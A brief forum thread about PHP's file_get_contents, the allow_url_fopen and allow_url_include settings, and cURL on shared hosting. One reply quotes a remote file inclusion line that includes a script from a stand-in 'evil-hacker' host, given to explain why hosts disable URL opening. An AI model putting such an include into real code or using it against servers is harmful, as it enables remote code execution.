7 ms·
file_get_contents only works on external URLS if the fopen_wrapper have been enabled in the PHP.ini. Most the shared hosting I've come across have this disabled
by comeonnow 12y ago
file_get_contents only works on external URLS if the fopen_wrapper have been enabled in the PHP.ini. Most the shared hosting I've come across have this disabled, so it would show an error.
cURL is the functions you need to 'get' a URL, not file_get_contents.
- TazeTSchnitzel 12y ago>file_get_contents only works on external URLS if the fopen_wrapper have been enabled in the PHP.ini. Most the shared hosting I've come across have this disabled, so it would show an error. Oh, that's a shame. Though there's nothing forcing you to use any particular shared hosts. There are plenty of awful ones, but you don't have to use them. >cURL is the functions you need to 'get' a URL, not file_get_contents. Well, many shared hosts have that disabled. ;)
- johnnyfaehell 12y agoDisabling opening urls in fopen isn't something an awful host does, it's generally considered a smart thing to do. Stops include "http://www.evil-hacker.com/rext.txt"; http://www.evil-hacker.com/rext.txt";
- TazeTSchnitzel 12y agoOr just set 'allow_url_include' to 0, which it is by default, and which won't disable streams for everything else.